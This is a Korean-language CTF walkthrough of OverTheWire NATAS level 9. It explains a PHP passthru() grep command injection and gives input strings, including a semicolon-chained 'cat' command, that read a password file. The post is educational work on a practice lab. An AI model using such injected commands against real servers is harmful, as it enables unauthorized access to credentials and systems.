Information Security

[OverTheWire] NATAS9 본문

Web Hacking/NATAS 풀이

[OverTheWire] NATAS9

leeeeye321 2018. 1. 5. 23:09

[OverTheWire] NATAS9


$key = $_REQUEST["needle"];

입력한 내용은 변수 key에 저장된다.


if($key != "") {
    passthru("grep -i $key dictionary.txt");
}

key가 비어 있지 않으면 외부 명령어를 실행하는 함수 passthru()를 실행한다.

 

The passthru() function is similar to the exec() function in that it executes a command.

http://php.net/manual/en/function.passthru.php


grep -i $key dictionary.txt

grep [옵션] [찾을 문자열] [파일명]

우리가 입력한 내용은 [찾을 문자열]에 대입된다.


grep 명령어는 문자열을 검색할 때 정규 표현식을 사용할 수 있다.

그 중에서 ^은 행의 시작 지시자이다.


grep -i ^ dictionary.txt를 실행하면 dictionary.txt의 내용이 모두 출력된다.
우리는 /etc/natas_wepass/natas10 파일에 저장된 natas10의 패스워드를 알아내야 한다.

 

^ /etc/natas_webpass/natas10 을 입력하면 

최종적으로 grep -i ^ /etc/natas_webpass/natas10 dictionary.txt가 실행되어 패스워드를 획득할 수 있다.

 

Command Injection

이 문제를 푼 후 다른 풀이 방법도 찾아보았다.

https://en.wikipedia.org/wiki/Code_injection#Shell_injection 참고

 

grep -i ; cat /etc/natas_webpass/natas10 dictionary.txt

세미 콜론(;)으로 grep 명령어를 끝내버리고 cat 명령어로 natas10의 파일을 확인하면 패스워드를 획득할 수 있다.

'Web Hacking > NATAS 풀이' 카테고리의 다른 글

[OverTheWire] NATAS11  (0) 2018.01.08
[OverTheWire] NATAS10  (0) 2018.01.05
[OverTheWire] NATAS8  (0) 2018.01.01
[OverTheWire] NATAS7  (0) 2018.01.01
[OverTheWire] NATAS6  (0) 2018.01.01